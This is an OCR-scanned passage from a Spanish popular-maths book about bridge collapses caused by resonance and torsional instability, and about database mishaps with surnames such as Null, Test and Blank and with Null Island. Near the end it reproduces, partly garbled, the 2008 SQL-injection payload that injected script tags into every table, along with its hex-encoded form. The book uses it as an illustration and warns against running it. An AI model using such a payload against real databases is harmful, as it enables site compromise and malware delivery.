El impacto vertical producido por un humano que camina es unas diez veces mayor que el lateral,
razon por la que los movimientos laterales han sido ignorados tanto tiempo. Las vibraciones
verticales de los puentes se habian percibido mucho antes. Los puentes solidos de piedra o
madera no poseen frecuencias de resonancia que puedan entrar en sincronia con los pasos
humanos. Pero después de la revolucion industrial de los siglos Xvil y XiX, los ingenieros
empezaron a experimentar con nuevos disefios en los que utilizaban celosias, ménsulas y péndolas.
Finalmente, se construyd un puente colgante que estaba dentro del rango que podia alcanzar la
resonancia provocada por los humanos.

Uno de los primeros puentes que se destruyeron debido a la sincronizacion del paso de los
peatones fue un puente colgante situado en las afueras de Manchester (en lo que actualmente es la
ciudad de Salford). Creo que este puente colgante de Broughton fue el primer puente que se
destruy6 debido a la frecuencia de resonancia de los peatones que lo cruzaban. A diferencia del
Puente del Milenio, que tenia un ciclo de retroalimentacién que se sincronizaba con los peatones,
en el puente Broughton la resonancia del paso de las personas que lo cruzaban no tenia con qué
sincronizarse.



El puente se construy6 en 1826, y la gente lo cruzaba sin problema alguno hasta 1831. Hizo
falta que pasase un peloton de soldados marchando perfectamente en sincronia para alcanzar la
frecuencia de resonancia. El 60.° Cuerpo de Fusileros compuesto por setenta y cuatro soldados se
dirigia a sus barracones alrededor del mediodia del 12 de abril de 1831. Empezaron a cruzar el
puente en filas de cuatro y enseguida notaron que el puente se estaba balanceando ritmicamente
con sus pasos. Al principio parecia algo bastante divertido y empezaron a silbar una cancion que
encajaba con el rebote. Hasta que fueron ya unos sesenta soldados los que rebotaban a la vez
sobre el puente cuando este se derrumbo.

Unas veinte personas sufrieron heridas por caer al rio desde una altura de cinco metros;
afortunadamente, nadie murid. En el andlisis posterior se llegd a la conclusion de que las
vibraciones fueron las culpables de haber hecho que el puente soportase una carga mayor que la
que habria generado el mismo numero de personas detenidas sobre €l. Se revisaron puentes
similares; el conocimiento de este tipo de fallo ya era una realidad. Por suerte, no fue necesario
que se perdiera ninguna vida humana para ser conscientes de la importancia de la resonancia en
los puentes colgantes. En la actualidad, existe una advertencia en el Albert Bridge de Londres en
la que se advierte a las tropas de que no marchen al paso cuando lo crucen.

En un giro

Cosas como las anteriores ni se descubren ni se recuerdan tan facilmente. A mediados del siglo
X1X, la red ferroviaria estaba extendiéndose por toda Inglaterra, lo que requeria la construccion de
un monton de puentes que pudieran soportar el paso de un tren completamente cargado. Un puente
que soporte un tren es mas dificil de disefiar que un puente para peatones o para vehiculos. Los
humanos y los carruajes tienen cierto nivel de suspension integrada; pueden desplazarse sobre
superficies que se mueven un poquito. Un tren no tiene esa tolerancia. Es necesario que la
superficie sobre la que se desplaza esté absolutamente quieta, lo que implica que los puentes
ferroviarios sean rigidos.

NUST BREAK STEP
VEEN MARCHING

| .y

Han de romper el paso, pero no el puente.




A finales de 1846, el ingeniero Robert Stephenson diseiidé un puente ferroviario que cruzaba
el rio Dee, en Chester. El puente era mas largo que los que hasta entonces habia disefiado
Stephenson, pero lo tensé y reforzé para que pudiera hacer frente a las pesadas cargas sin moverse
demasiado. Fue el clasico paso adelante en ingenieria: coges disefios anteriores exitosos y
consigues que hagan un poquito mas a la vez que utilizan menos materiales para su construccion.
El puente Dee cumplia ambos criterios.

Se inaugur6 y funciono6 a la perfeccion. El imperio britdnico dependia de los trenes, y los
ingenieros britdnicos se enorgullecian de sus puentes rigidos. En mayo de 1847, el puente se
modifico ligeramente; se afadid mas roca y gravilla para impedir que las vias vibraran y para
proteger las vigas de madera del puente de los rescoldos ardientes que producian las locomotoras
de vapor. Stephenson inspecciond el trabajo realizado y dio su aprobacion. El peso extra que se
puso sobre el puente estaba dentro de los limites de tolerancia esperados. Sin embargo, el primer
tren que lo cruzd después de la modificacion no consiguid llegar al otro lado.

No es que el puente no pudiera soportar el peso extra, sino, mas bien, que la combinacion de
longitud y masa revel6 una forma completamente nueva en la que los puentes podian fallar. Resulta
que, al igual que con las vibraciones hacia arriba y hacia abajo y las laterales, los puentes también
se pueden curvar en el medio. La mafiana del 24 de mayo de 1847, pasaron seis trenes sobre el
puente sin problema alguno, justo antes de que esa tarde se afiadiera la masa extra a base de
fragmentos de rocas.

Cuando el siguiente tren estaba cruzando el puente reinaugurado, el conductor sinti6 que el
puente se estaba moviendo bajo sus pies. Intenté cruzarlo lo mas répido posible (los trenes de
vapor no son famosos por su aceleracion) y lo logré por los pelos. Es decir, lo consigui6 el
conductor y la locomotora. Pero no los cinco vagones de los que tiraba. El puente se retorcid
hacia un lado y los vagones cayeron al rio. Hubo dieciocho heridos y cinco fallecidos.

Desde ciertos puntos de vista, es comprensible que ocurra un desastre como ese.
Obviamente, deberiamos hacer lo que fuese necesario para evitar los errores de la ingenieria,
pero cuando los ingenieros estdn forzando los limites de lo que es posible, en ocasiones, una
faceta de las matematicas oculta hasta entonces se manifiesta repentinamente. A veces, afiadir algo
de masa es todo lo que hace falta para cambiar las matematicas que rigen el comportamiento de
una estructura.

Es algo caracteristico del progreso humano. Hacemos cosas que van mas alld de lo que
comprendemos y de lo que siempre hemos hecho. Las maquinas de vapor funcionaban antes de que
dispusiéramos de una teoria de la termodindmica; las vacunas se desarrollaron antes de que
supiéramos coémo funciona el sistema inmunitario; los aviones siguen volando a dia de hoy, a pesar
de los muchos huecos que hay en nuestra comprension de la aerodindmica. Mientras la teoria vaya
por detras de las aplicaciones practicas, siempre habra sorpresas matematicas esperandonos. Lo
importante es que aprendamos de estos errores inevitables y no los repitamos.

Ese movimiento de los puentes ha pasado a ser conocido por los ingenieros como
«inestabilidad torsional», lo que significa que una estructura tiene la capacidad de torcerse
libremente en el medio. Para mi, la inestabilidad torsional es ese movimiento que nadie espera. La
mayoria de las estructuras no poseen la combinacidon correcta de tamafio y longitud para



contonearse de forma perceptible, por lo que la inestabilidad torsional cae en el olvido hasta que
una nueva construccion pasa el punto critico en el que se manifiesta y, entonces, de repente, jha
vuelto!

Después de lo del puente Dee (y de otros accidentes similares), los ingenieros examinaron
rigurosamente las vigas de hierro fundido y decidieron utilizar hierro forjado desde entonces. El
informe oficial culpaba del desastre a la debilidad del hierro fundido. Stephenson respondié con
la ocurrente insinuacion de que el tren descarrild por si mismo, argumentando, basicamente, que el
tren rompid el puente, y no al revés. Nadie estuvo de acuerdo. Pero si que planteé un punto
interesante. En todos los puentes que ¢l habia construido, las vigas de hierro fundido funcionaban
bien. Ninguna de sus teorias dio con la causa correcta.

Al final del informe, casi descubrian al auténtico culpable, la inestabilidad torsional. El
ingeniero civil James Walker y el inspector ferroviario J. L. A. Simmons cerraban el informe
admitiendo que los demas puentes de Stephenson no se habian caido, pero si que todos tenian «una
arcada menor que la del puente Dee de Chester» y que «las dimensiones de sus secciones eran
proporcionalmente menores». Durante un breve instante, admitieron que podia haber algo que
tuviera que ver con la escala del puente, pero acabaron culpando a la debilidad de las vigas. No
dieron el paso que les faltaba. Y el refuerzo que se decidié aplicar a los puentes futuros era
suficiente para que la inestabilidad torsional se volviera a esconder. Durante un tiempo.

La inestabilidad torsional volvié a aparecer, y con ganas, en el puente Tacoma Narrows
(estado de Washington, Estados Unidos). Disenado en la década de 1930, formaba parte de la
nueva estética visual art deco; el principal disefiador, Leon Moisseiff, dijo que los ingenieros de
puentes deberian «buscar lo gracil y elegante». Y eso hicieron. Un puente fino, con forma de lazo y
aerodindmico que parecia increiblemente gracil. Ademas de ser hermoso, era barato. Utilizando
menos acero, el disefio de Moisseiff costaba aproximadamente la mitad que el disefio propuesto
por su competidor.

Inaugurado en julio de 1940, el puente demostré muy pronto que el hecho de que el coste
fuese barato tenia un precio. La fina superficie se movia arriba y abajo con el viento. Todavia no
se trataba de inestabilidad torsional, sino del clasico balanceo vertical que habia causado tantos
problemas en otros puentes. Pero parece ser que, en este caso, no existia el suficiente balanceo
para que este fuese considerado peligroso. Se le comunico a la gente que era perfectamente seguro
cruzar el Galloping Gertie (Gertie galopante), que es el apodo que le pusieron los lugarefios al
puente. (Parece ser que los norteamericanos son incluso mas creativos a la hora de ponerle
nombre a los edificios que los londinenses, quienes, seguramente, lo habrian bautizado como el
puente ondulante.)

Dado que los expertos habian asegurado que el puente era seguro, para la gente pasd a ser un
paseo divertido, mientras que los ingenieros intentaban averiguar como podian eliminar ese
movimiento. Y entonces, en noviembre de 1940, el puente se derrumbo6 de forma espectacular. Se
ha convertido en un ejemplo iconico de fallo de ingenieria, porque se produjo cerca de una tienda
de cémaras fotograficas, en la que el propietario, Barney Elliott, tenia peliculas de color
Kodachrome de 16 milimetros. Elliott y su compafiero consiguieron fotografiar el desplome del
puente.



Pero la mala fama del colapso de este puente también fue debida a otro aspecto negativo: una
explicacion erronea. Hasta la fecha, el desastre del puente de Tacoma Narrows es considerado un
ejemplo de los peligros de las frecuencias de resonancia. Al igual que ocurri6 con el Puente del
Milenio, se argumentd que el viento que pasaba por debajo del Tacoma Narrows iguald una
frecuencia de resonancia del puente y lo despedazo. Pero, a diferencia del Puente del Milenio, eso
no es cierto. No fue la resonancia la que derrumbo el puente.

F y T

Puente Tacoma Narrows, 1940. Momentos después, un tipo salto de ese coche y corrio para ponerse a salvo.

Fue el otro villano del Puente del Milenio: un ciclo de retroalimentacion. Uno que no tenia
como protagonista a la resonancia, sino a la inestabilidad torsional. La elegancia de su disefio lo
hizo mas aerodinamico. Es decir, el aire lo hizo dindmico. Mientras que otros disefios propuestos
para el puente de Tacoma Narrows tenian una red metalica a través de la cual pudiera pasar el
viento, el puente que se construyd tenia laterales metdlicos planos, perfectos para dificultar el
paso del viento.

Lo que se retroalimentaba era lo que se conoce como «flameo». Bajo circunstancias
normales, el puente se curvaria en el medio un poco pero rapidamente retornaria a su posicion
normal. Pero, con el viento suficiente, el ciclo de retroalimentacion del flameo provocaria que la
inestabilidad torsional alcanzara niveles perceptibles. Si el lateral del puente que estaba en la
parte en la que soplaba el viento se elevaba ligeramente gracias a alguna torsion tipica, entonces
se comportaria como un ala de avion y el efecto aumentaria debido al viento. Cuando rebotaba y
se hundia, el efecto del viento iba en el otro sentido, empujandolo mas hacia abajo. Por lo que
cada vez que se producia una torsion hacia arriba o hacia abajo, se veia favorecida por el viento y
aumentaba el tamafo de las oscilaciones. Si el lector sopla lo suficientemente fuerte sobre una
cinta tirante, podré ver el efecto por si mismo.

Como consecuencia del desastre del puente de Tacoma Narrows, se reforzaron puentes
similares. El flameo se afiadio a la larga lista de cosas de las que se ha de preocupar un ingeniero
cuando disefia un puente. Actualmente, los ingenieros suelen tener en cuenta la inestabilidad
torsional y disefan los puentes en consecuencia. Lo que deberia significar que ya no volvera a



ocurrir algo igual. Pero, a veces, las lecciones aprendidas en una parcela de la ingenieria no
repercuten en las demas. Resulta que la inestabilidad torsional puede afectar también a los
edificios.

La torre John Hancock, de sesenta pisos de altura, fue construida en Boston durante la década
de 1970 y se descubrié que tenia una inestabilidad torsional inesperada. La interaccion con el
viento entre los edificios circundantes y la propia torre estaba haciendo que este se retorciera. A
pesar de haber sido disefiado acorde a las normas de construccion vigentes en ese momento, la
inestabilidad torsional encontré una forma de retorcer el edificio y la gente que se hallaba en los
pisos superiores empezo a sentirse mareada. Una vez mas, jel amortiguador de masas sintonizadas
vino al rescate! Se colocaron piezas de plomo de unas 300 toneladas de peso en tanques llenos de
aceite en los extremos opuestos del piso cincuenta y ocho. Unidos al edificio mediante resortes,
actuaban para amortiguar cualquier vibracién y mantener asi el movimiento por debajo de un nivel
perceptible.

El edificio, cuyo nombre oficial es hoy el 200 de la calle Clarendon, sigue en pie. Por lo
visto, las normas de construccion (y el edificio) fueron reforzadas después del incidente de la
vibracion del edificio. Pero he sido incapaz de encontrar ninguna prueba de si el edificio esta
capacitado para resistirse a «The Power» de Snap.

Caminando sobre terrenos inciertos

Este ligero avance en el conocimiento de las matematicas y de la ingenieria ha durado siglos y los
humanos son ahora capaces de construir algunas estructuras realmente increibles. Después de cada
fracaso, se mejoran las normas de ingenieria y las buenas practicas de tal forma que podemos
aprender de aquello que salié mal. Al mismo tiempo, nuestro conocimiento matematico crece y
pone a disposicion de los ingenieros mas herramientas teéricas. El tinico punto negativo es que las
matematicas y la experiencia nos permiten actualmente construir estructuras que van mas alla de lo
que nuestra intuicién puede comprender.

Imagine que le ensefiamos a un ingeniero de la época de la revolucion industrial un moderno
rascacielos de 823 metros de altura, o la Estacion Espacial Internacional, de 108 metros de largo
y 420 toneladas de peso, orbitando alrededor de la Tierra. Pensarian que se trata de magia. Pero si
trajésemos a Robert Stephenson desde el siglo xix a la actualidad y le mostrdsemos un
rascacielos, pero también le diéramos un curso de ingenieria estructural asistida por ordenador, lo
entenderia bastante rapido. La ingenieria es facil si entiendes las matematicas.

En 1980, se construyd en Kansas City una pasarela peatonal para el hotel Hyatt Regency. Se
realizaron complejos calculos para que diera la impresion de que la pasarela flotaba en el aire,
apoyada por unas pocas barras metalicas finas en el segundo piso por encima del vestibulo del
hotel. Sin matematicas, habria sido algo demasiado peligroso: alguien tendria que haber adivinado
cuan pequetios podian ser los apoyos y aun asi sostener de forma segura a los transeuntes. Pero,
gracias a la certidumbre de las matematicas, los ingenieros sabrian que los apoyos iban a
funcionar antes incluso de poner un simple tornillo en el lugar correcto.

Esta es la diferencia entre las matematicas y los humanos al abordar un problema. El cerebro
humano es un dispositivo de calculo increible, pero hemos evolucionado para tomar decisiones y
evaluar resultados. Somos maquinas de aproximacion. Las matematicas, sin embargo, pueden ir



directamente a la respuesta correcta. Pueden averiguar el punto exacto en el que las cosas pasan
de estar bien a estar mal, de ser correctas a incorrectas, de ser seguras a ser desastrosas.

El lector puede hacerse una idea de lo que quiero decir observando las estructuras del siglo
X1x y de inicios del xx. Se construyeron a partir de grandes bloques de piedra y gigantescas vigas
de acero plagadas de remaches. Todo estd disefiado, hasta el punto de que un humano puede
observar y sentir instintivamente que es segura. En el puente de la bahia de Sidney (1932, foto de
abajo) hay casi mas remaches que vigas de acero. Sin embargo, con las matematicas modernas
podemos acercarnos al limite de lo que es seguro.

Sip, eso no va a ningun sitio.

Aunque en el Kansas Hyatt, todo sali6 mal. Fue un recordatorio muy costoso de los riesgos
que se corren al construir edificaciones mas alla de lo que resulta intuitivo para nuestros cerebros.
Durante la construccion, se realizd un cambio aparentemente inofensivo en el disefio y los
ingenieros no rehicieron correctamente los cdlculos. Nadie se dio cuenta de que el cambio
alteraria fundamentalmente las matematicas subyacentes. Y con la pasarela sobrepasaron el limite.

La modificacion parecia una buena idea. La pasarela tenia dos niveles, en el segundo y cuarto
piso del hotel. El disefio requeria unos finos y largos tirantes de metal que sostenian los dos
niveles de la pasarela desde arriba: uno a media altura de los tirantes y el otro en su base. Las
tuercas iban enroscadas en los tirantes, y apoyadas en ellas se colocaban unas vigas cajon (vigas
huecas rectangulares de metal). Cuando el disefio se trasladé al edificio real, la longitud de los
tirantes complico las cosas: las tuercas que sujetaban la pasarela superior se tendrian que pasar
por toda la longitud de los tirantes, que eran realmente muy largos. Y como cualquiera que haya
montado un mueble puede confirmar, incluso enroscar una tuerca en un tornillo de unos pocos
centimetros puede ser tedioso.

Se encontrd una solucidn bastante sencilla: cortar los tirantes por la mitad y tener asi unos
tirantes mas cortos desde la pasarela superior a la inferior, y otros mas cortos desde la superior a
la inferior. La disposicion parece idéntica a la que se habia planeado anteriormente, excepto que



ahora todas las tuercas se encontraban al final de un tirante, a una distancia en la que era mas facil
enroscarlas. Satisfecho con este retoque, el equipo de construccion construyd la pasarela y pronto
la gente empez6 a utilizarla para salir a toda prisa del hotel.

Entonces, el 17 de julio de 1981, mientras un monton de gente las estaba utilizando a modo
de mirador, los pernos atravesaron las vigas cajon de apoyo, y murieron mas de cien personas.

Este es un triste recordatorio de lo facil que es cometer un error matematico con
consecuencias dramaticas. En este caso, el disefio habia cambiado, pero no se habian rehecho los
calculos.

En el disefo original, cada tuerca tenia que servir de apoyo para la pasarela justo por encima
de ella y a cualquier persona sobre ella. El sutil cambio del que nadie se percatd fue que, con la
modificacion, la pasarela inferior estaba ahora suspendida directamente de la superior. Por lo que,
ademas de soportar su propio peso y el de la gente que hubiera sobre ella, esta pasarela superior
también tenia colgando de ella a la pasarela inferior. Las tuercas que antes tenian que sostener
solo a la pasarela superior estaban ahora soportando el peso de toda la estructura.

El disefio propuesto para la pasarela. A la derecha, las pasarelas del segundo y cuarto piso que se
derrumbaron estan suspendidas por los mismos tirantes.

En la «Investigacion del derrumbe de las pasarelas del Kansas City Hyatt Regency», se
descubrié que incluso el disefio original no cumplia con los requisitos de las normas de
construccion de Kansas City. Las pruebas realizadas revelaron que las vigas cajon apoyadas en
las tuercas solo podian sostener 9.280 kilogramos de masa cada uno, mientras que las normas de
construccion exigen que cada junta sea capaz de sostener 15.400 kilogramos. Esta carga maxima
es deliberadamente exagerada para garantizar asi que la pasarela nunca se cargard al limite. Por lo
que, incluso si la pasarela se hubiera construido para resistir solo el 60 % del maximo requerido
en las normas, existe una posibilidad de que nunca se hubiera visto sometida a fuerzas lo
suficientemente fuertes como para romperla.



Lo que fue disefiado Lo que fue construido

Esta tuerca solo sostiene Esta tuerca trabaja horas extra
la pasarela que hay sobre para sostener también la pasarela
ella. que estd por debajo de ella.

La viga cajon después de que la tuerca y el tirante que la sostenian la desgarraran.

En el momento del derrumbe, cada tuerca de las vigas cajon de la pasarela inferior estaba
soportando 5.200 kilogramos. Lo que significa que, incluso si no hubieran sido tan fuertes como
especifican las normas, aun podrian haber sostenido a la muchedumbre que se habia reunido sobre
ella. En el disefio original, con las barras continuas, los pernos de la pasarela superior estaban



bajo una carga similar y también habrian sobrevivido. Por lo que, si la pasarela se hubiera
construido siguiendo el disefio original, existe una posibilidad de que nadie se hubiera dado
cuenta de que no estaba cumpliendo las normas de construccion.

Pero, debido a la alteracion realizada en el disefio, los pernos de la pasarela superior
estaban soportando el doble de esa carga, segin los calculos realizados fueron unos 9.690
kilogramos por perno. Eso es mucho mas de lo que podian soportar las vigas cajon, por lo que uno
de los pernos situados en la parte central saltd. Esto hizo que los pernos restantes tuvieran que
soportar todavia mas carga, por lo que se rompieron rapidamente uno tras otro, provocando que la
pasarela se derrumbase.

Fue una situacion desafortunada, en la que no solo no se hicieron los calculos iniciales segin
los estandares correctos, sino que también se cambiaron luego los célculos necesarios y nadie los
volvio a comprobar. Puede que cada uno de esos errores por si solo no hubiera provocado el
derrumbe. Pero todos juntos dieron como resultado la muerte de 114 personas.

Permitir que las matematicas nos lleven mas alld de nuestra intuicion tiene muchos
beneficios, pero también es cierto que con algunos riesgos. La inmensa mayoria de veces, la gente
cruza los puentes y camina sobre pasarelas ignorando felizmente cuanto se han esforzado los
ingenieros en que eso fuera posible. Solo somos conscientes de ello cuando algo sale mal.



Tres

MICRODATOS

A mediados de la década de 1990, un nuevo empleado de Sun Microsystems en California
desaparecia continuamente de su base de datos. Cada vez que se introducian sus datos, daba la
impresion de que el sistema se lo zampaba entero; desaparecia sin dejar rastro. Nadie en recursos
humanos pudo averiguar por qué el pobre Steve Null era la kryptonita de la base de datos.

El personal de recursos humanos introducia su apellido «Null», pero eran felizmente
ignorantes de que, en la base de datos, NULL es el término para la falta de datos, por lo que Steve
pasdé a ser una entrada nula. Para los ordenadores, su nombre era Steve Zero o Steve
TioNoExistes. Al parecer, necesitaron un tiempo para darse cuenta de lo que estaba ocurriendo,
mientras seguian introduciendo una y otra vez sus datos cada vez que se planteaba el asunto, sin
pararse nunca a pensar por qué la base de datos le eliminaba una y otra vez.

Desde la década de 1990, las bases de datos se han vuelto mucho mas sofisticadas, pero el
problema persiste. Null sigue siendo un apellido legitimo y el codigo informéatico sigue utilizando
NULL para representar la falta de datos. Una variacion del problema es que una base de datos de
una compaiiia acepte a un empleado cuyo nombre sea Null, pero no haya forma de buscarle en
ella. Si buscamos personas con el nombre Null, la respuesta serd, bueno, que no hay (null, en
inglés).

Dado que los ordenadores utilizan la palabra NULL para representar la falta de datos, lo vera aparecer
ocasionalmente cuando un sistema informatico ha cometido algin error y no encuentra los datos que
necesita.




Proteja su dispositivo TomTom con estilo

Querido Matthew,

Antes de meter su TomTom $NULLS en una bolsa, un bolsillo o en la guantera, protéjalo
con &l auténtico estuche para su TomTom. Estan disefiados espadialmente para mantensar
su dispositivo a salvo de golpes v arafiazos, por lo que siempre parecera nuevo,

Estuche con la maxima proteccion Kit de viaje TomTom

) (i)

He buscado en mi bandeja de entrada y he encontrado algunos correos electronicos dirigidos a null y
uno en concreto preguntandome sobre mi dispositivo TomTom $NULLS. Pero el no va mas son los anuncios
emergentes de «solteras calientes cerca de nully.

Creo que s¢ qué ha ocurrido. Comprobar si una entrada es igual a NULL es un paso muy util
en programacion. Escribi un programa para mantener una hoja de calculo con todos mis videos de
YouTube. Cada vez que he de entrar nuevos videos necesito encontrar cual es la siguiente fila
disponible. Por lo que el programa establece inicialmente active row = 1 para empezar en la
primera fila y ejecutar este segmento de codigo (lo he limpiado un poco para que sea un poco mas
facil de leer).

while data(row = active_row, column=1) != NULL:
active_row = active_row + 1

En un monton de lenguajes informaticos != significa «no igual a». Por lo que, para cada fila,
comprueba si los datos de la primera celda no son iguales a null. Si no son iguales a null, afade un
1 ala fila y sigue hasta que encuentra la primera fila libre. Si mi hoja de calculo tuviera filas que
empezaran con apellidos de personas, entonces Steve Null podria haber roto mi codigo (depende
de lo avanzado que sea el lenguaje de programacion). Las bases de datos de empleados mas
modernas pueden fallar durante su busqueda porque comprueban search_term != NULL antes de
continuar.! Esto es para detectar todas las veces que se clica el boton de busqueda sin haber
introducido ningin texto en la casilla de buscar. Pero también detiene todas las busquedas de
personas que se llamen Null.



Otros nombres legitimos también pueden ser descartados por las bienintencionadas reglas de
las bases de datos. Un amigo mio trabajaba en una base de datos para una gran compaifiia
financiera en Gran Bretana y esta solo le permitia introducir nombres con tres o mas letras para
asi descartar las entradas incompletas. Lo cual estaba bien, hasta que la compaiiia se expandio y
empezd a contratar a personas de otros paises, incluido China, donde los nombres con dos
caracteres son algo de lo mas habitual. La solucion fue asignar a dichos empleados nombres
anglicanizados mas largos que encajaran con el criterio que seguia la base de datos, lo cual deja
mucho que desear.

Los macrodatos son muy emocionantes, y traera consigo una serie de avances y hallazgos
increibles que nos ayudaran a analizar los grandes conjuntos de datos —asi como también todo un
nuevo campo en el que cometer errores matematicos (de los que hablaremos mas adelante—. Pero
antes de darle vueltas a los macrodatos, necesitamos primero recoger y almacenar esos datos.
Llamo a este proceso «microdatos»: mirar los datos de uno en uno. Tal como nos demostraron
Steve Null y sus parientes, grabar datos no es algo tan sencillo como esperabamos que fuera.

Algo parecido a lo que le ocurre a Steve Null, le pasa igualmente a Brian Test, Avery Blank y
Jeff Sample. El problema Null se puede arreglar codificando los nombres en un formato
unicamente para datos de tipo caracter, para que asi no se confunda con el valor NULL. Pero
Avery Blank tenia un problema mucho mayor: los humanos.

Cuando Avery Blank fue a la Facultad de Derecho tuvo problemas a la hora de obtener una
pasantia porque sus solicitudes no eran tomadas en serio. La gente veia «Blank» en la casilla
destinada al apellido y suponia que era una solicitud incompleta. Siempre se tenia que poner en
contacto con ellos y convencer al comité de seleccion de que era un ser humano real.

Brian Test y Jeff Sample («muestra» en castellano) padecieron el mismo problema, pero por
razones ligeramente diferentes. Cuando creas una nueva base de datos, o una forma de introducir
datos, es habitual probarla y asegurarse de que todo va bien. Por lo que metes algunos datos
ficticios para comprobar todo el proceso. Gestioné un montén de proyectos con universidades, y a
menudo los alumnos se inscriben en linea. Acabo de abrir mi base de datos mas reciente de esos
proyectos y me he fijado en la parte superior. La primera entrada corresponde a la Sra. Profesora,
quien trabaja en el instituto Test de la calle Test en el condado de Falseland. Probablemente tenga
relacion con el Sr. Profesor del instituto San Falsington, quien parece apuntarse a todo lo que
hago.

Para evitar ser borrado como datos de prueba no deseados, cuando Brian Test empezd un
nuevo trabajo, llevo un pastel para todos sus nuevos colegas. Impresa en el pastel habia una
fotografia de su cara con las siguientes palabras escritas con glaseado: «Soy Brian Test y soy
real». Al igual que ocurre con un monton de problemas de oficina, el tema se soluciond con pastel
gratis, y ya no le borraron nunca mas.

No solo los humanos borran a personas como Brian Test; a menudo ocurre lo mismo con los
sistemas automatizados. Las personas introducen datos falsos en las bases de datos continuamente,
por lo que los administradores de estas establecen sistemas automatizados para intentar
eliminarlos. Una direccion de correo electronico como null@nullmedia.com (perteneciente a un
humano real, Christopher Null) suele ser bloqueada de manera automatica para reducir el correo
basura. Recientemente, un amigo mio no pudo firmar una peticion en linea porque su direccion de



correo electronico tenia un signo + en ella: un caracter valido, pero uno utilizado habitualmente
para generar direcciones de correo electronico masivamente y para hacer spam en las encuestas
en linea. Por lo que fue bloqueado.

Por lo tanto, cuando se trata de nombres, si usted ha heredado un apellido «prohibido» para
las bases de datos, puede o lucirlo como una medalla de honor o pedir un formulario oficial para
cambiarse de nombre. Pero si usted es padre o madre, por favor, no le ponga a su hijo un nombre
que le condene a una vida de lucha continua con los ordenadores. Y, dado que desde 1990 a mas
de trescientos nifios en Estados Unidos les han puesto de nombre Abcde, vale la pena decirlo bien
claro: no le ponga a su hijo nada parecido a Fake, Null o DECLARE @T varchar(255), @C
varchar(255); DECLARE Table Cursor CURSOR FOR SELECT a.name, b.name FROM
sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = ‘> AND (b.xtype = 99 o
b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table Cursor; FETCH NEXT
FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_ STATUS = 0) BEGIN
EXEC(‘update [ + @T + ¢] set [ + @C + ¢] = rtrim(convert(varchar[‘+ @C + ¢]))+ “’<script
src=3e4df16498a2f57dd732d5bbc0ecabf881a47030952a. 9e¢0a847cbda6c8</script>"");
FETCH NEXT FROM Table Cursor INTO @T, @C; END; CLOSE Table Cursor;
DEALLOCATE Table_Cursor;

El ultimo ni siquiera es una broma. Da la impresion de que me he quedado dormido sobre mi
teclado, pero es un programa informatico completamente funcional que escanea una base de datos
sin necesidad de saber como estd estructurada. Simplemente rastreara todas las entradas de la
base de datos y las hara accesibles al primero que sea capaz de colar ese cddigo en la base de
datos. Es un ejemplo mas de humanos en linea comportandose como idiotas.

Introducirlo como si fuera el nombre de alguien tampoco es poca broma. Se conoce como
ataque por inyeccion de SQL, nombrado asi por el famoso sistema de bases de datos SQL; a veces
pronunciado como «sequel» (secuela). Implica introducir codigo malicioso a través de la URL de
un formulario en linea y esperar que quien esté a cargo de la base de datos no haya colocado las
suficientes medidas donde toca. Es una forma de hackear y robar los datos de otra persona. Pero
depende de que la base de datos ejecute el codigo que has conseguido colar. Puede parecer
ridiculo que una base de datos procese un codigo malicioso entrante, pero sin la capacidad de
ejecutar codigos, una base de datos moderna perderia su funcionabilidad. Es un malabarismo
mantener una base de datos segura pero capaz de soportar funciones avanzadas que requieren
ejecutar codigos.

Solo para que quede completamente claro: el de mi ejemplo es un cddigo verdadero. No lo
teclee en una base de datos. La estropeara. Ese codigo fue el utilizado en 2008 para atacar al
gobierno de Gran Bretafia y a las Naciones Unidas, excepto que una parte fue convertida en
valores hexadecimales para pasar inadvertido ante los sistemas de seguridad que buscan codigo
entrante. Una vez dentro de la base de datos, se descomprimird de nuevo en codigo informatico,
encontrara las entradas de la base de datos y luego llamard a casa para descargar programas
maliciosos adicionales.

Este era su aspecto cuando estaba camuflado:

script.asp?var=random’; DECLARE%20@S %620
NVARCHAR(4000);SET%20@S=CAST(0x440045



0043004C004100520045002000400054002000760061
007200630068006100720028. . .

[otros 1.920 digitos]
004F00430041005400450020005400610062006
C0065005F0043007500720073006F007200%20AS %
20NVARCHAR(4000)); EXEC(@S);--

Escurridizo, ;eh? Desde nombres desafortunados a ataques maliciosos, gestionar una base de
datos es una tarea dificil. Y eso es incluso antes de tenérselas que ver con cualquiera de los
errores legitimos que se producen al introducir los datos.

Cuando los buenos datos se convierten en malos

En Los Angeles hay un pedazo de tierra en la esquina entre West 1st Street y South Spring Street
que alberga las oficinas de LA Times. Es justo calle abajo desde el ayuntamiento y justo enfrente
del Departamento de Policia de Los Angeles (LAPD por sus siglas en inglés). Debe haber algunas
zonas dificiles de Los Angeles que los turistas deberian evitar, pero, sin duda, esta no es una de
ellas. La zona parece todo lo segura que puede ser... hasta que compruebas el mapa de
localizaciones de crimenes denunciados que cuelga el LAPD en su web. Entre octubre de 2008 y
marzo de 2009 se cometieron 1.380 crimenes en esa manzana. Eso es mas o menos el 4 % de
todos los crimenes que aparecen marcados en el mapa.

Cuando LA Times se percato de esto, preguntd educadamente al LAPD qué estaba ocurriendo.
El culpable fue la forma en la que se codificaron los datos antes de ser introducidos en la base de
datos para crear el mapa. De todos los crimenes denunciados se registra su ubicacion, a menudo a
mano, y todo esto es automaticamente geocodificado por el ordenador a latitud y longitud. Si el
ordenador es incapaz de resolver la localizacion, simplemente registra la ubicacion por defecto de
Los Angeles: la puerta delantera de la sede central del LAPD.

El LAPD arregl6 esto con el método tradicional utilizado cuando habia un exceso repentino
de criminales: los transportd a una isla lejana. La isla Null.

La isla Null es una nacion islefa, pequefia, pero orgullosa, situada frente a la costa
occidental de Africa. Se halla a unos 600 kilometros al sur de Ghana, y la puede encontrar
poniendo su latitud y longitud en cualquier software cartografico de su eleccion: 0,0. Dato
curioso: sus coordenadas parecen la expresion facial de cualquiera de los que alli deportan. Y es
que, vera, mas alla de las bases de datos, la isla Null no existe. Realmente hace honor a su
eslogan: «jUn lugar nico en la Tierra!».

Un mal dato es el azote de las bases de datos, especialmente cuando el dato ha sido escrito
originalmente por humanos falibles con su imprecisa escritura a mano. Afiadamos a esto la
ambigiiedad de los nombres de algunos lugares (por ejemplo, tengo un despacho en Borough
Road, y existen cuarenta y dos Borough Roads solo en Gran Bretaia, sin mencionar dos Borough
Road Easts), y tendremos todos los ingredientes para que se produzca un desastre. Siempre que un
